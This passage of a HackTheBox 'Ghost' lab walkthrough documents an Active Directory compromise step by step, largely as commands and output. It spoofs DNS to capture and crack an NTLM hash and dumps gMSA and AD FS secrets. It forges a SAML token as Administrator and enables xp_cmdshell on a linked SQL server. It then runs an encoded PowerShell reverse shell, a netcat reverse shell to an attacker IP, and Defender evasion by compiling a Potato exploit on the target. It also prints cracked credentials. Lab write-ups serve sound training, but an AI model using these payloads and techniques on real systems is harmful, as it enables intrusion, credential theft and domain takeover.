Ghost HTB Writeup & Walkthrough | Pentest Notes
.\n\nThe problem was simple:\n\n- We knew the account existed.\n- We knew it had interesting privileges.\n- We did **not** have its credentials.\n\n\n\n## {red:Connecting the Clues}\n\nEarlier in the assessment, while browsing the intranet portal, I noticed a post written by `justin.bradley`.\n\n> **Cannot connect to BitBucket**\n>\n> Hello all, I tried to connect to `bitbucket.ghost.htb` but it doesn't work. Any idea why? I have a script that checks the pipeline results and it works in Gitea. I tried adapting it to Bitbucket and it works locally, but I can't test it on our servers.\n\nThis post suddenly became much more interesting.\n\nWe had already confirmed that:\n\n- `bitbucket.ghost.htb` was referenced internally.\n- The DNS record for the host did **not** exist.\n- Justin appeared to be repeatedly trying to access that hostname.\n\nThat suggested a simple attack.\n\nIf we created the missing DNS record ourselves and pointed it to **our attacker machine**, Justin's automated script would eventually connect to us instead of the real server.\n\n\n\n## {red:Creating the DNS Record}\n\nSince our Kerberos ticket allowed us to modify DNS records, I added a new `A` record for `bitbucket`.\n\n```bash\nbloodyAD --host dc01.ghost.htb -k -d ghost.htb add dnsRecord --dnstype A --ttl 224 bitbucket 10.10.14.15\n\n[+] bitbucket has been successfully added\n``` \n\nAwesome.\n\nNow every client attempting to resolve:\n\n```text\nbitbucket.ghost.htb\n``` \n\nwould receive my VPN address. \n\n\n\n## {red:Capturing Justin's NTLM Authentication}\n\nNext, I started **Responder** and simply waited.\n\n```bash\nsudo responder -I tun0\n``` \n\nWithin a few seconds, Justin's workstation attempted to connect to the fake Bitbucket server.\n\n```text\n[HTTP] NTLMv2 Client : 10.129.231.105\n[HTTP] NTLMv2 Username : ghost\\justin.bradley\n[HTTP] NTLMv2 Hash : justin.bradley::ghost:cafcd0ac4f333d54:9744E3AE7E7D10BF657228C21F0FDBBF:0101000000000000F3EB9C136E15DD012C3FD2087DCC1A7B...\n``` \n\nPerfect.\n\nWe had successfully captured Justin's NetNTLMv2 authentication hash almost immediately after creating the DNS record. \n\n\n\n## {red:Cracking the Hash}\n\nI saved the captured hash and used John the Ripper with the RockYou wordlist.\n\n```bash\njohn justin.bradley-hash -w=/usr/share/wordlists/rockyou.txt\n\nUsing default input encoding: UTF-8\nLoaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\n\nQwertyuiop1234$ (justin.bradley)\n\n1g 0:00:00:03 DONE\n``` \n\nThe password was:\n\n```text\nQwertyuiop1234$\n``` \n\nFortunately, it was present in the wordlist and cracked almost instantly. \n\n\n\n## {red:Retrieving the gMSA Password}\n\nWith Justin's credentials, we could finally abuse the permission discovered in BloodHound.\n\n```bash\nnxc ldap ghost.htb -u justin.bradley -p 'Qwertyuiop1234$' --gmsa\n\nLDAP 10.129.231.105 389 DC01 [+] ghost.htb\\justin.bradley:Qwertyuiop1234$\nLDAP 10.129.231.105 389 DC01 [*] Getting GMSA Passwords\nLDAP 10.129.231.105 389 DC01 Account: adfs_gmsa$ NTLM: 32e35adb7636bf4d12332d16afcb651f\nLDAP 10.129.231.105 389 DC01 PrincipalsAllowedToReadPassword: ['DC01 , 'justin.bradley']\n``` \n\nSuccess.\n\nWe recovered the managed service account credentials.\n\n```text\nNTLM:\n32e35adb7636bf4d12332d16afcb651f\n``` \n\nBloodHound had pointed us to the privilege, and now we had successfully abused it.\n\n\n\n## {red:Validating WinRM Access}\n\nBefore using the account, I verified whether it was allowed to authenticate over WinRM.\n\n```bash\nnxc winrm ghost.htb -u adfs_gmsa$ -H 32e35adb7636bf4d12332d16afcb651f\n\nWINRM 10.129.231.105 5985 DC01\n[+] ghost.htb\\adfs_gmsa$:32e35adb7636bf4d12332d16afcb651f (Pwn3d!)\n``` \n\nThe service account had remote management privileges. \n\nI also checked Justin's account.\n\n```bash\nnxc winrm ghost.htb -u justin.bradley -p 'Qwertyuiop1234$'\n\nWINRM 10.129.231.105 5985 DC01\n[+] ghost.htb\\justin.bradley:Qwertyuiop1234$ (Pwn3d!)\n``` \n\nBoth accounts could authenticate successfully over WinRM.\n\n\n\n## {red:Obtaining the User Flag}\n\nSince Justin is a normal domain user, I connected first.\n\n```bash\nevil-winrm -i ghost.htb -u justin.bradley -p 'Qwertyuiop1234$'\n\n*Evil-WinRM* PS C:\\Users\\justin.bradley\\Documents>\n``` \n\nThe user flag was located on Justin's desktop.\n\n```powershell\n*Evil-WinRM* PS C:\\Users\\justin.bradley\\Desktop> type user.txt\n\n***********e19aabf51df9c1f\n``` \n\nAt this point we had fully compromised the user account. \n\n\n\n# {red:Privilege Escalation}\n\nThe remaining objective was to escalate from the service account to full Domain Administrator.\n\n\n\n## {red:Logging in as the gMSA Account}\n\nUsing the recovered NTLM hash, I authenticated directly with Evil-WinRM.\n\n```bash\nevil-winrm -i ghost.htb -u adfs_gmsa$ -H 32e35adb7636bf4d12332d16afcb651f\n\n*Evil-WinRM* PS C:\\Users\\adfs_gmsa$\\Documents>\n``` \n\n\n\n## {red:What is AD FS?}\n\n`adfs_gmsa Ghost HTB Writeup & Walkthrough | Pentest Notes
is the managed service account used by **Active Directory Federation Services (AD FS)**.\n\nAD FS is Microsoft's federated identity platform that provides Single Sign-On (SSO) between Active Directory and external web applications.\n\nBecause AD FS is responsible for issuing authentication tokens, compromising the AD FS service account is extremely valuable. In many environments, it allows attackers to forge trusted SAML authentication tokens and impersonate any domain user.\n\nIf you're interested in learning more about AD FS, the following article provides a good overview:\n\n> https://jumpcloud.com/blog/what-is-adfs\n\n\n\n## {red:Extracting the AD FS Secrets}\n\nTo dump the AD FS configuration, I uploaded **ADFSDump.exe**.\n\nIf you don't already have the binary, it can be downloaded from the SharpCollection repository:\n\n> https://github.com/Flangvik/SharpCollection\n\n```bash\n*Evil-WinRM* PS C:\\Users\\adfs_gmsa$\\Documents> upload /home/madhav/HacktheBox/htb-boxes/Ghost/ADFSDump.exe\n\nInfo: Upload successful!\n``` \n\nWith the binary uploaded, I executed it.\n\n```bash\n*Evil-WinRM* PS C:\\Users\\adfs_gmsa$\\Documents> .\\ADFSDump.exe\n``` \n\nThe tool extracted several pieces of sensitive information, including:\n\n- AD FS private keys\n- The encrypted token signing key\n- Certificate metadata\n- Federation configuration\n- Relying Party Trust information\n- Issuance rules\n- Federation endpoint configuration\n\nRather than trying to manually copy pieces of the output, I copied the **entire output** and saved it locally as:\n\n```text\nadfs-output.txt\n``` \n\nThis file will be used in the next stage to forge a trusted SAML authentication token and impersonate another user. \n\n\n## {red:Forging an AD FS SAML Token}\n\nThe application hosted at:\n\n```text\nhttps://federation.ghost.htb\n``` \n\nwas responsible for authenticating users through Active Directory Federation Services.\n\nBecause we had already extracted the AD FS signing material using `ADFSDump`, we could use it to generate a valid SAML response for another user.\n\nFor this, I used **ADFSpoof**:\n\n```text\nhttps://github.com/mandiant/ADFSpoof.git\n``` \n\n\n\n## {red:Setting Up ADFSpoof}\n\nADFSpoof depends on an older Python environment, so I chose to run it inside a temporary Docker container rather than modifying my host system.\n\n```bash\ndocker run --rm -it \\\n --platform linux/amd64 \\\n -v \"$PWD\":/work \\\n -w /work \\\n ubuntu:20.04 bash\n``` \n\nThe current working directory was mounted at `/work`, allowing the container to access the ADFSpoof source code and the files extracted earlier.\n\nInside the container, I installed Python and the required build dependencies.\n\n```bash\napt update\n\nDEBIAN_FRONTEND=noninteractive apt install -y \\\n python3 python3-pip python3-dev python3-venv \\\n gcc g++ make \\\n libssl-dev libffi-dev \\\n libxml2-dev libxslt1-dev\n``` \n\nI then installed compatible versions of `pip` and `setuptools`, followed by the project requirements.\n\n```bash\npip3 install \"pip\u003c24\" \"setuptools\u003c70\" wheel\npip3 install -r requirements.txt\npython3 ADFSpoof.py\n``` \n\nThe tool started successfully.\n\n```text\nroot@c2300344aad4:/work# python3 ADFSpoof.py\n ___ ____ ___________ ____\n / | / __ \\/ ____/ ___/____ ____ ____ / __/\n / /| | / / / / /_ \\__ \\/ __ \\/ __ \\/ __ \\/ /_\n / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/\n/_/ |_/_____/_/ /____/ .___/\\____/\\____/_/\n /_/\n\nA tool to for AD FS security tokens\nCreated by @doughsec\n\nusage: ADFSpoof.py [-h] (-b BLOB BLOB | -c CERT) [-p PASSWORD] [-v VERBOSE]\n [--assertionid ASSERTIONID] [--responseid RESPONSEID]\n [-s SERVER] [-a ALGORITHM] [-d DIGEST] [-o OUTPUT]\n {o365,dropbox,saml2,dump} ...\n\nADFSpoof.py: error: one of the arguments -b/--blob -c/--cert is required\n``` \n\nThe error was expected because no signing material had been supplied yet. It confirmed that the tool and its dependencies were working correctly.\n\n\n\n## {red:Preparing the Decryption Key}\n\nThe `ADFSDump` output contained the following AD FS private key:\n\n```text\n8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1\n``` \n\nADFSpoof expects this value as raw binary data.\n\nI first removed the hyphens.\n\n```bash\necho \"8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1\" | sed 's/-//g'\n8DACA490702B3FD608D5BC35A9848756D2FA3B7B7413A3C62C58A6F458FB9DA1\n``` \n\nI then converted the hexadecimal string into a binary file.\n\n```bash\necho \"8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1\" \\\n| sed 's/-//g' \\\n| xxd -r -p > decryptionkey.bin\n``` \n\nThis produced:\n\n```text\ndecryptionkey.bin\n``` \n\n\n\n## {red:Extracting the Encrypted Signing Blob}\n\nThe `ADFSDump` output also contained a long Base64-encoded encrypted token-signing key.\n\nSince the value was extremely long, I opened the saved output with horizontal scrolling disabled.\n\n```bash\nless -S adfs-output.txt\n``` \n\nThis displayed the encrypted blob on a single line, making it easier to inspect and extract.\n\nI then searched for the beginning of the Base64 value and decoded it directly into a binary file.\n```bash\ngrep AAAAAQAAAAAEEAFy adfs-output.txt | base64 -d > encryptedpfx.bin\n``` \nAt this point, the two required files were ready:\n\n```text\nencryptedpfx.bin\ndecryptionkey.bin\n``` \n## {red:Capturing a Legitimate SAML Response}\n\nBefore generating a forged assertion, I wanted to understand the exact SAML claims expected by the application.\n\nI configured Burp Suite to intercept traffic and logged into:\n\n``` text\nhttps://core.ghost.htb:8443\n``` \nusing the previously compromised `justin.bradley` account.\n\nOpening the application redirected the browser to:\n\n``` text\nhttps://federation.ghost.htb\n``` \n\nwhere the AD FS login process took place.\n\n![image](/uploads/ghost-htb/images/img358)\n\n![image](/uploads/ghost-htb/images/img359)\n\n![image](/uploads/ghost-htb/images/img360)\n\n![image](/uploads/ghost-htb/images/img361)\n\nAfter authentication, Burp captured a `POST` request to:\n\n``` text\nhttps://core.ghost.htb:8443/adfs/saml/postResponse\n``` \n\n![image](/uploads/ghost-htb/images/img362)\n\nThe request contained a parameter named:\n\n```text\nSAMLResponse\n``` \n\n![image](/uploads/ghost-htb/images/img363)\n\nI copied the entire value and decoded it using Burp Suite.\n\n![image](/uploads/ghost-htb/images/img364)\n\nThe decoded XML was saved into a file named:\n\n```text\npostResponse\n``` \n\n\n\n## {red:Reviewing the SAML Claims}\n\nThe decoded SAML assertion contained several important values:\n\n```xml\n\u003csamlp:Response\n Destination=\"https://core.ghost.htb:8443/adfs/saml/postResponse\">\n\n \u003cIssuer>\n http://federation.ghost.htb/adfs/services/trust\n \u003c/Issuer>\n\n \u003cAudienceRestriction>\n \u003cAudience>https://core.ghost.htb:8443\u003c/Audience>\n \u003c/AudienceRestriction>\n\u003c/samlp:Response>\n``` \n\nThe user identity was stored in the following claims:\n\n```xml\n\u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn\">\n \u003cAttributeValue>[email protected]\u003c/AttributeValue>\n\u003c/Attribute>\n\n\u003cAttribute Name=\"http://schemas.xmlsoap.org/claims/CommonName\">\n \u003cAttributeValue>justin.bradley\u003c/AttributeValue>\n\u003c/Attribute>\n``` \n\nThese values told the application which domain user had authenticated.\n\nBecause we controlled the legitimate AD FS signing key, we could replace these claims with another identity and generate a signature that the application would still trust.\n\n\n\n## {red:Changing the Claims to Administrator}\n\nI replaced Justin's identity with the built-in domain Administrator account.\n\n```xml\n\u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn\">\n \u003cAttributeValue>[email protected]\u003c/AttributeValue>\n\u003c/Attribute>\n\n\u003cAttribute Name=\"http://schemas.xmlsoap.org/claims/CommonName\">\n \u003cAttributeValue>Administrator\u003c/AttributeValue>\n\u003c/Attribute>\n``` \n\nThe forged assertion would therefore claim that the user authenticated by AD FS was:\n\n```text\[email protected]\n``` \n\n## {red:Generating the Forged SAML Response}\n\nI supplied the encrypted signing blob, decryption key, relying-party information, and modified claims to ADFSpoof.\n\n```bash\npython3 ADFSpoof.py \\\n --blob encryptedpfx.bin decryptionkey.bin \\\n --server federation.ghost.htb \\\n saml2 \\\n --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse \\\n --rpidentifier https://core.ghost.htb:8443 \\\n --assertion '\u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn\">\u003cAttributeValue>[email protected]\u003c/AttributeValue>\u003c/Attribute>\u003cAttribute Name=\"http://schemas.xmlsoap.org/claims/CommonName\">\u003cAttributeValue>Administrator\u003c/AttributeValue>\u003c/Attribute>' \\\n --nameidformat \"urn:oasis:names:tc:SAML:2.0:assertion\" \\\n --nameid [email protected]\n``` \n\nADFSpoof successfully decrypted the AD FS signing material and generated a new signed SAML response.\n\n```text\nRAW: 0000000100000000041001721e535787\nLEN: 4371\nVERSION: 1\n\nPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2Fz\n\u003c\u003cSNIP>>\naXM6vQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D\n``` \n\nThe output was a URL-encoded, Base64-encoded SAML response signed with the legitimate AD FS certificate.\n\nFrom the application's perspective, this token was indistinguishable from one generated by the real federation server. \n\n\n\n## {red:Submitting the Forged SAML Response}\n\nI returned to the intercepted request in Burp Repeater.\n\n![image](/uploads/ghost-htb/images/img365)\n\nI replaced the complete value of:\n\n```text\nSAMLResponse=\n``` \n\nwith the forged token generated by ADFSpoof.\n\nAfter sending the modified request, the application accepted the response and issued an authenticated session cookie.\n\n![image](/uploads/ghost-htb/images/img366)\n\nThe returned cookie value was:\n\n```text\ns%3ANykFmv-KBWZDmyJlZe3tjCzT_9IIi4ot.f3jFj1Jf5Dx4Jch8AsvcDaif0yoHyhBlLvdFujVReQo\n``` \n\nThis confirmed that the application had accepted the forged SAML assertion.\n\n\n\n## {red:Replacing the Browser Session Cookie}\n\nI returned to the browser session that had previously been authenticated as `justin.bradley`.\n\nUsing the browser developer tools, I navigated to:\n\n```text\nInspect\n → Storage\n → Cookies\n``` \n\nI replaced the existing session cookie with the new cookie obtained from the forged SAML response.\n\n![image](/uploads/ghost-htb/images/img367)\n\nAfter refreshing the page, the application redirected to:\n\n```text\n/unauthorized\n``` \n\n![image](/uploads/ghost-htb/images/img368)\n\nI removed `/unauthorized` from the URL and loaded the application again.\n\nThe session was now authenticated as:\n\n```text\nAdministrator\n``` \n\nWe had successfully forged a trusted SAML token and impersonated the domain Administrator without knowing the account's password. \n\n\n## {red:MSSQL Enumeration and Linked Server Abuse}\n\nFollowing the successful SAML token forgery, I gained access to functionality that allowed SQL queries to be executed against the backend Microsoft SQL Server instance.\n\nTo verify that the query interface was working, I first requested the current database user.\n\n```sql\nSELECT CURRENT_USER;\n``` \n\n![image](/uploads/ghost-htb/images/img369)\n\nThe query executed successfully, confirming that we could interact with the MSSQL backend.\n\n![image](/uploads/ghost-htb/images/img370)\n\n\n\n## {red:Identifying the SQL Server Version}\n\nI began the MSSQL enumeration by retrieving the server version.\n\n``` txt \nSELECT @@version\n``` \n\n``` txt \n\n\n{\n \"recordsets\": [\n [\n {\n \"\": \"Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \\n\\tOct 8 2022 05:58:25 \\n\\tCopyright (C) 2022 Microsoft Corporation\\n\\tExpress Edition (64-bit) on Windows Server 2022 Standard 10.0 (Build 20348: ) (Hypervisor)\\n\"\n }\n ]\n ],\n \"recordset\": [\n {\n \"\": \"Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \\n\\tOct 8 2022 05:58:25 \\n\\tCopyright (C) 2022 Microsoft Corporation\\n\\tExpress Edition (64-bit) on Windows Server 2022 Standard 10.0 (Build 20348: ) (Hypervisor)\\n\"\n }\n ],\n \"output\": {},\n \"rowsAffected\": [\n 1\n ]\n}\n \n``` \n\nThe response revealed that the target was running **Microsoft SQL Server 2022 Express Edition** on **Windows Server 2022 Standard**.\n\nI then identified the SQL Server hostname.\n\n```sql\nSELECT @@SERVERNAME;\n``` \n\n![image](/uploads/ghost-htb/images/img371)\n\nThe server name was returned as:\n\n```text\nDC01\n``` \n\nThis indicated that the SQL Server instance exposed through the application was running on `DC01`.\n\n\n\n## {red:Enumerating Linked Servers}\n\nLinked Servers allow one SQL Server instance to execute queries against another configured SQL Server. When the associated authentication mapping or RPC configuration is overly permissive, this feature can be abused for lateral movement and remote command execution.\n\nI enumerated the configured Linked Servers using:\n\n```sql\nEXEC sp_linkedservers;\n``` \n\n``` json \n{\n \"recordsets\": [\n [\n {\n \"SRV_NAME\": \"DC01\",\n \"SRV_PROVIDERNAME\": \"SQLNCLI\",\n \"SRV_PRODUCT\": \"SQL Server\",\n \"SRV_DATASOURCE\": \"DC01\",\n \"SRV_PROVIDERSTRING\": null,\n \"SRV_LOCATION\": null,\n \"SRV_CAT\": null\n },\n {\n \"SRV_NAME\": \"PRIMARY\",\n \"SRV_PROVIDERNAME\": \"SQLNCLI\",\n \"SRV_PRODUCT\": \"SQL Server\",\n \"SRV_DATASOURCE\": \"PRIMARY\",\n \"SRV_PROVIDERSTRING\": null,\n \"SRV_LOCATION\": null,\n \"SRV_CAT\": null\n }\n ]\n ],\n \"recordset\": [\n {\n \"SRV_NAME\": \"DC01\",\n \"SRV_PROVIDERNAME\": \"SQLNCLI\",\n \"SRV_PRODUCT\": \"SQL Server\",\n \"SRV_DATASOURCE\": \"DC01\",\n \"SRV_PROVIDERSTRING\": null,\n \"SRV_LOCATION\": null,\n \"SRV_CAT\": null\n },\n {\n \"SRV_NAME\": \"PRIMARY\",\n \"SRV_PROVIDERNAME\": \"SQLNCLI\",\n \"SRV_PRODUCT\": \"SQL Server\",\n \"SRV_DATASOURCE\": \"PRIMARY\",\n \"SRV_PROVIDERSTRING\": null,\n \"SRV_LOCATION\": null,\n \"SRV_CAT\": null\n }\n ],\n \"output\": {},\n \"rowsAffected\": [\n 2\n ]\n}\n``` \n\nThe output revealed two entries:\n\n```text\nDC01\nPRIMARY\n``` \n\nThe `PRIMARY` instance was particularly interesting, as it represented another SQL Server reachable through the current database connection.\n\n\n\n## {red:Enumerating the Remote Login Context}\n\nTo identify the user context assigned to queries executed against `PRIMARY`, I used `OPENQUERY`.\n\n```sql\nSELECT * from OPENQUERY(\"PRIMARY\", 'select CURRENT_USER as result')\n``` \n\n``` json \n\nOutput:\n\n{\n \"recordsets\": [\n [\n {\n \"result\": \"bridge_corp\"\n }\n ]\n ],\n \"recordset\": [\n {\n \"result\": \"bridge_corp\"\n }\n ],\n \"output\": {},\n \"rowsAffected\": [\n 1\n ]\n}\n\n``` \n\nThe remote query executed as:\n\n```text\nbridge_corp\n``` \n\nThis confirmed that queries could be issued successfully against the `PRIMARY` Linked Server.\n\n\n\n## {red:Checking RPC OUT}\n\nThe ability to execute stored procedures remotely through a Linked Server depends on whether **RPC OUT** is enabled.\n\nI checked the configuration with:\n\n```sql\nSELECT is_rpc_out_enabled FROM sys.servers WHERE name = 'DC01';\n``` \n\n``` json \n Output:\n\n{\n \"recordsets\": [\n [\n {\n \"is_rpc_out_enabled\": true\n }\n ]\n ],\n \"recordset\": [\n {\n \"is_rpc_out_enabled\": true\n }\n ],\n \"output\": {},\n \"rowsAffected\": [\n 1\n ]\n}\n\n\n``` \n\nThe value was set to `true`, confirming that remote procedure calls were permitted.\n\nThis meant that SQL commands could be executed through the Linked Server using the `EXEC (...) AT [PRIMARY]` syntax.\n\n\n\n## {red:Enabling xp_cmdshell on the Linked Server}\n\nFurther testing showed that commands on the Linked Server could be executed after impersonating the `sa` login.\n\nUsing this privileged context, I enabled advanced options and then activated `xp_cmdshell`.\n\n``` mssql\nEXEC('EXECUTE AS LOGIN=''sa''; EXEC master.dbo.sp_configure ''show advanced options'',1; RECONFIGURE;') AT [PRIMARY]\nEXEC('EXECUTE AS LOGIN=''sa''; EXEC master.dbo.sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [PRIMARY]\n \nEXEC('EXECUTE AS LOGIN=''sa''; EXEC xp_cmdshell ''whoami''') AT [PRIMARY]\n``` \n\n``` json \n Output:\n\n{\n \"recordsets\": [\n [\n {\n \"output\": \"nt service\\\\mssqlserver\"\n },\n {\n \"output\": null\n }\n ]\n ],\n \"recordset\": [\n {\n \"output\": \"nt service\\\\mssqlserver\"\n },\n {\n \"output\": null\n }\n ],\n \"output\": {},\n \"rowsAffected\": [\n 2\n ]\n}\n\n``` \n\nThe `whoami` command returned:\n\n```text\nnt service\\mssqlserver\n``` \n\nThis confirmed that operating system commands were now being executed on `PRIMARY` under the SQL Server service account.\n\nAt this point, the Linked Server misconfiguration had been converted into remote command execution on the underlying Windows host.\n\n\n\n## {red:Attempting a PowerShell Reverse Shell}\n\nI initially attempted to establish a reverse shell using a Base64-encoded PowerShell payload.\n\n``` powershell\npowershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA1ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==\n``` \n\nHowever, the payload failed to establish a connection.\n\nInstead of continuing to troubleshoot the encoded PowerShell command, I switched to a more reliable approach using `nc64.exe`.\n\n\n\n## {red:Transferring Netcat to the Target}\n\nI started a Python web server from the directory containing `nc64.exe`.\n\n``` bash \npython -m http.server 80 \n``` \n\nI then used `xp_cmdshell` to download the binary onto the Linked Server.\n\n``` mssql \nEXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell \"powershell -c iwr http://10.10.14.15/nc64.exe -outfile C:\\programdata\\nc64.exe\"') AT [PRIMARY]\n``` \n\nThe Python web server received the request successfully.\n\n``` txt \npython -m http.server 80\nServing HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...\n10.129.231.105 - - [17/Jul/2026 18:06:18] \"GET /nc64.exe HTTP/1.1\" 200 -\n``` \n\nThe HTTP `200` response confirmed that `nc64.exe` had been downloaded to:\n\n```text\nC:\\programdata\\nc64.exe\n``` \n\n\n\n## {red:Obtaining the Reverse Shell}\n\nI initially prepared a Netcat listener on the attack machine.\n\n``` bash \n nc -nvlp 9001\nlistening on [any] 9001 ...\n``` \n\nThe final payload, however, was configured to connect back on port `443`, so I started the corresponding listener with `rlwrap` for improved terminal handling.\n\n```bash\nsudo rlwrap -cAr nc -nlvp 443\n``` \n\nI then executed `nc64.exe` through `xp_cmdshell`, instructing it to launch PowerShell and connect back to the attack machine.\n\n``` mssql\nEXECUTE('EXECUTE AS LOGIN=''sa''; exec xp_cmdshell \"C:\\programdata\\nc64.exe 10.10.14.15 443 -e powershell\"') AT [PRIMARY]\n``` \n\nThe listener immediately received a connection.\n\n``` bash \n\n sudo rlwrap -cAr nc -nlvp 443\nListening on 0.0.0.0 443\nConnection received on 10.129.41.116 49945\nWindows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nInstall the latest PowerShell for new features and improvements! https://aka.ms/PSWindows\n\nPS C:\\Windows\\system32> \n``` \nWe had successfully converted the SQL query functionality into an interactive PowerShell shell on the `PRIMARY` server.\n\nThe shell was running under the `NT SERVICE\\MSSQLSERVER` service account, providing a stable foothold for local privilege escalation.\n\n\n## {red:Privilege Escalation via SeImpersonatePrivilege}\n\nWith an interactive shell on `PRIMARY`, I enumerated the privileges assigned to the SQL Server service account.\n\n``` bash \nPS C:\\Users\\public> whoami /priv\nwhoami /priv\n\nPRIVILEGES INFORMATION\n----------------------\n\nPrivilege Name Description State \n============================= ========================================= ========\nSeAssignPrimaryTokenPrivilege Replace a process level token Disabled\nSeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled\nSeMachineAccountPrivilege Add workstations to domain Disabled\nSeChangeNotifyPrivilege Bypass traverse checking Enabled \nSeImpersonatePrivilege Impersonate a client after authentication Enabled \nSeCreateGlobalPrivilege Create global objects Enabled \nSeIncreaseWorkingSetPrivilege Increase a process working set Disabled\nPS C:\\Users\\public> \n``` \n\nThe most important entry was:\n\n```text\nSeImpersonatePrivilege Impersonate a client after authentication Enabled\n``` \n\n`SeImpersonatePrivilege` is commonly assigned to Windows service accounts and can often be abused to impersonate a privileged token, potentially allowing escalation to `NT AUTHORITY\\SYSTEM`.\n\nThis made the host vulnerable to several *Potato*-style privilege-escalation techniques.\n\n\n\n## {red:Bypassing Windows Defender}\n\nMy initial attempts to transfer precompiled Potato binaries were unsuccessful because Windows Defender detected and deleted them immediately.\n\nTo avoid transferring a known executable, I decided to use **EfsPotato** and compile its C# source code directly on the target.\n\nThe source code was obtained from:\n\n```text\nhttps://github.com/zcgonvh/EfsPotato\n``` \n\nEfsPotato abuses the Microsoft Encrypting File System Remote Protocol and leverages the available impersonation privilege to obtain a token associated with a more privileged security context.\n\n\n\n## {red:Transferring EfsPotato}\n\nI downloaded the EfsPotato C# source code into the public user directory.\n\n``` powershell \nPS C:\\Users\\public> wget 10.10.14.15:9090/EfsPotato.cs -usebasicparsing -O EfsPotato.cs\n wget 10.10.14.15:9090/EfsPotato.cs -usebasicparsing -O EfsPotato.cs\nPS C:\\Users\\public> dir\ndir\n\n\n Directory: C:\\Users\\public\n\n\nMode LastWriteTime Length Name \n---- ------------- ------ ---- \nd-r--- 7/17/2026 2:23 PM Documents \nd-r--- 5/8/2021 1:15 AM Downloads \nd-r--- 5/8/2021 1:15 AM Music \nd-r--- 5/8/2021 1:15 AM Pictures \nd-r--- 5/8/2021 1:15 AM Videos \n-a---- 7/17/2026 2:36 PM 25441 EfsPotato.cs \n\n\nPS C:\\Users\\public> \n\n``` \n\nThe directory listing confirmed that `EfsPotato.cs` had been transferred successfully.\n\nCompiling the source code directly on the target was useful because it avoided uploading a precompiled executable that Defender could immediately quarantine.\n\n\n\n## {red:Compiling EfsPotato}\n\nThe target already had the .NET Framework C# compiler available, so I compiled the source code using `csc.exe`.\n\n``` bash \nPS C:\\Users\\public> C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\csc.exe EfsPotato.cs\n C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\csc.exe EfsPotato.cs\nMicrosoft (R) Visual C# Compiler version 4.8.4161.0\nfor C# 5\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nThis compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see 